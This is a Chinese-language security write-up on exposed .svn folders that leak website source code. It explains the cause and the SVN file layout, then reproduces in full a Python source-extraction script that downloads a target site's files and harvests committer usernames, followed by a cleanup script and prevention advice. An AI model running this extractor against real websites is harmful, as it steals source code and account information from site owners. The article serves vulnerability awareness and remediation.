成因:
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)
svn<=1.6
从svn的结构图可以看到一个目录text-base,这里有我们源文件的备份,比如要下载somedomain/phpinfo.php,直接访问目录somedomain/.svn/text-base/phpinfo.php.text-base,一般的服务器既不会阻止该目录也不会解释该后缀,我们就可以直接读到本地来。现在只是访问最顶层的文件信息,那怎么遍历呢?这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行。
svn>1.6
svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:somedomain/.svn/pristine/"XX"/"CHECKSUM".svn-base,CHECKSUM是文件的sha1值,xx则是他的前两位。那这个CHECKSUM去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库。数据库的大体结构如下:
$ sqlite3 wc.db .tables ACTUAL_NODE NODES PRISTINE WC_LOCK EXTERNALS NODES_BASE REPOSITORY WORK_QUEUE LOCK NODES_CURRENT WCROOT $ sqlite3 wc.db 'select local_relpath, checksum from NODES' index.php|$sha1$4e6a225331f9ae872db25a8f85ae7be05cea6d51 scripts/menu.js|$sha1$fabeb3ba6a96cf0cbcad1308abdbe0c2427eeebf style/style.js|$sha1$2cc5590e0ba024c3db77a13896da09b39ea74799 $ sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;' index.php|.svn/pristine/4e/4e6a225331f9ae872db25a8f85ae7be05cea6d51.svn-base scripts/menu.js|.svn/pristine/fa/fabeb3ba6a96cf0cbcad1308abdbe0c2427eeebf.svn-base style/style.js|.svn/pristine/2s/2cc5590e0ba024c3db77a13896da09b39ea74799.svn-base
第一步下载wc.db,然后从NODES表中找到文件名和其sha1值,最后构造下载链接
利用:
国外大牛写的利用脚本:https://github.com/anantshri/svn-extractor/blob/master/svn_extractor.py
附上源码:
#!/bin/python import requests import sys import argparse import os import sqlite3 import traceback import re # disable insecurerequestwarning from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def getext(filename): name, ext = os.path.splitext(filename) return ext[1:] def readsvn(data,urli,match,proxy_dict): old_line="" file_list="" dir_list="" user = "" pattern = re.compile(match, re.IGNORECASE) global author_list global excludes if not urli.endswith('/'): urli = urli + "/" for a in data.text.splitlines(): #below functionality will find all usernames from svn entries file if (a == "has-props"): author_list.append(old_line) if (a == "file"): if not pattern.search(old_line): continue ignore = getext(old_line) in excludes if ignore: print urli + old_line, '(not extracted)' else: print urli + old_line if no_extract and not ignore: save_url_svn(urli,old_line,proxy_dict) file_list=file_list + ";" + old_line if (a == "dir"): if old_line != "": folder_path = os.path.join("output", urli.replace("http://","").replace("https://","").replace("/",os.path.sep), old_line) if not os.path.exists(folder_path): if no_extract: os.makedirs(folder_path) dir_list = dir_list + ";" + old_line print urli + old_line try: d=requests.get(urli+old_line + "/.svn/entries", verify=False,proxies=(proxy_dict)) readsvn(d,urli+old_line,match,proxy_dict) except: print "Error Reading %s%s/.svn/entries so killing" % (urli, old_line) old_line = a return file_list,dir_list,user def readwc(data,urli,match,proxy_dict): folder = os.path.join("output", urli.replace("http://","").replace("https://","").replace("/",os.path.sep)) pattern = re.compile(match, re.IGNORECASE) global author_list global excludes if not folder.endswith(os.path.sep): folder = folder + os.path.sep with open(folder + "wc.db","wb") as f: f.write(data.content) conn = sqlite3.connect(folder + "wc.db") c = conn.cursor() try: c.execute('select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES where kind="file";') list_items = c.fetchall() #below functionality will find all usernames who have commited atleast once. c.execute('select distinct changed_author from nodes;') author_list = [r[0] for r in c.fetchall()] c.close() for filename,url_path in list_items: if not pattern.search(filename): continue ignore = getext(filename) in excludes if ignore: print urli + filename, '(not extracted)' else: print urli + filename if no_extract and not ignore: save_url_wc(urli,filename,url_path,proxy_dict) except Exception,e: print "Error reading wc.db, either database corrupt or invalid file" if show_debug: traceback.print_exc() return 1 return 0 def show_list(list,statement): print statement cnt=1 for x in set(list): print str(cnt) + " : " + str(x) cnt = cnt + 1 def save_url_wc(url,filename,svn_path,proxy_dict): global author_list if filename != "": if svn_path is None: folder_path = os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep, filename.replace("/",os.path.sep))) if not os.path.exists(folder_path): os.makedirs(folder_path) else: folder = os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep), os.path.dirname(filename).replace("/",os.path.sep)) if not os.path.exists(folder): os.makedirs(folder) if not folder.endswith(os.path.sep): folder = folder + os.path.sep try: r=requests.get(url + svn_path, verify=False,proxies=(proxy_dict)) with open(folder+os.path.basename(filename),"wb") as f: f.write(r.content) except Exception,e: print "Error while accessing : " + url + svn_path if show_debug: traceback.print_exc() return 0 def save_url_svn(url,filename,proxy_dict): global author_list folder=os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep)) if not folder.endswith(os.path.sep): folder = folder + os.path.sep try: r=requests.get(url + "/.svn/text-base/" + filename + ".svn-base", verify=False,proxies=(proxy_dict)) if not os.path.isdir(folder+filename): with open(folder + filename,"wb") as f: f.write(r.content) except Exception,e: print "Problem saving the URL" if show_debug: traceback.print_exc() return 0 def main(argv): target='' #placing global variables outside all scopes global show_debug global no_extract global excludes global author_list author_list=[] desc="""This program is used to extract the hidden SVN files from a webhost considering either .svn entries file (<1.6) or wc.db (> 1.7) are available online. This program actually automates the directory navigation and text extraction process""" epilog="""Credit (C) Anant Shrivastava http://anantshri.info. Contributions from orf, sullo, paddlesteamer. Greets to Amol Naik, Akash Mahajan, Prasanna K, Lava Kumar for valuable inputs""" parser = argparse.ArgumentParser(description=desc,epilog=epilog) parser.add_argument("--url",help="Provide URL",dest='target',required=True) parser.add_argument("--debug",help="Provide debug information",action="store_true") parser.add_argument("--noextract",help="Don't extract files just show content",action="store_false") #using no extract in a compliment format if its defined then it will be false hence parser.add_argument("--userlist",help="show the usernames used for commit",action="store_true") parser.add_argument("--wcdb", help="check only wcdb",action="store_true") parser.add_argument("--entries", help="check only .svn/entries file",action="store_true") parser.add_argument("--proxy",help="Provide HTTP Proxy in http(s)://host:port format", dest='proxy',required=False) parser.add_argument("--match", help="only download files that match regex") parser.add_argument("--exclude", help="exclude files with extensions separated by ','",dest='excludes',default='') x=parser.parse_args() url=x.target no_extract=x.noextract show_debug=x.debug match=x.match excludes = x.excludes.split(',') prox=x.proxy proxy_dict="" if prox != None: print prox print "Proxy Defined" proxy_dict = {"http":prox,"https":prox} else: print "Proxy not defined" proxy_dict = "" if (match): print "Only downloading matches to %s" % match match="("+match+"|entries$|wc.db$)" # need to allow entries$ and wc.db too else: match="" if (x.wcdb and x.entries): print "Checking both wc.db and .svn/entries (default behaviour no need to specify switch)" x.wcdb = False x.entries=False if url is None: exit() print url if not url.endswith('/'): url = url + "/" print "Checking if URL is correct" try: r=requests.get(url, verify=False,proxies=(proxy_dict)) except Exception,e: print "Problem connecting to URL" if show_debug: traceback.print_exc() exit() if [200,403,500].count(r.status_code) > 0: print "URL is active" if no_extract: folder_path=os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep)) if not os.path.exists(folder_path): os.makedirs(folder_path) if not x.entries: print "Checking for presence of wc.db" r=requests.get(url + "/.svn/wc.db", verify=False,allow_redirects=False,proxies=(proxy_dict)) if r.status_code == 200: print "WC.db found" rwc=readwc(r,url,match,proxy_dict) if rwc == 0: if x.userlist: show_list(author_list,"List of Usersnames used to commit in svn are listed below") exit() else: if show_debug: print "Status code returned : " + str(r.status_code) print "Full Respose" print r.text print "WC.db Lookup FAILED" if not x.wcdb: print "lets see if we can find .svn/entries" #disabling redirection to make sure no redirection based 200ok is captured. r=requests.get(url + "/.svn/entries", verify=False,allow_redirects=False,proxies=(proxy_dict)) if r.status_code == 200: print "SVN Entries Found if no file listed check wc.db too" data=readsvn(r,url,match,proxy_dict) if 'author_list' in globals() and x.userlist: show_list(author_list,"List of Usernames used to commit in svn are listed below") #print author_list exit(); else: if show_debug: print "Status code returned : " + str(r.status_code) print "Full Respose" print r.text print ".svn/entries Lookup FAILED" print (url + " doesn't contains any SVN repository in it") else: print "URL returns " + str(r.status_code) exit() if __name__ == "__main__": main(sys.argv[1:])
事后修复:
1)删除整个web文件夹,重新在svn代码服务器正确导出代码后,重新部署
2)直接在服务器内删除.svn文件。
代码:
#!/usr/bin/env python import os; import shutil; import stat; import sys; def DelSubFile(svnPath): for item in os.listdir(svnPath): fp = os.path.join(svnPath, item); if os.path.isfile(fp): os.chmod(fp, stat.S_IWRITE); os.remove(fp); else: DelSubFile(fp); def Traverse(root, name='.svn'): if os.path.exists(root): for item in os.listdir(root): absolutepath = os.path.join(root, item); if item == name and os.path.isdir(absolutepath): DelSubFile(absolutepath); shutil.rmtree(absolutepath); print(absolutepath); elif os.path.isdir(absolutepath): Traverse(absolutepath, name); # Traverse('F://python code//enu', '.svn'); if __name__ == '__main__': print('This program is being run by itself'); if len(sys.argv) >= 2: if len(sys.argv) >= 3: Traverse(sys.argv[1], sys.argv[2]); else: Traverse(sys.argv[1]); else: print('param is not correct'); else: print('I am being imported from another module');
事前防御:
1)对程序员进行培训,严禁直接复制源代码到服务器部署
2)正确用svn命令导出代码,然后再用导出的代码进行部署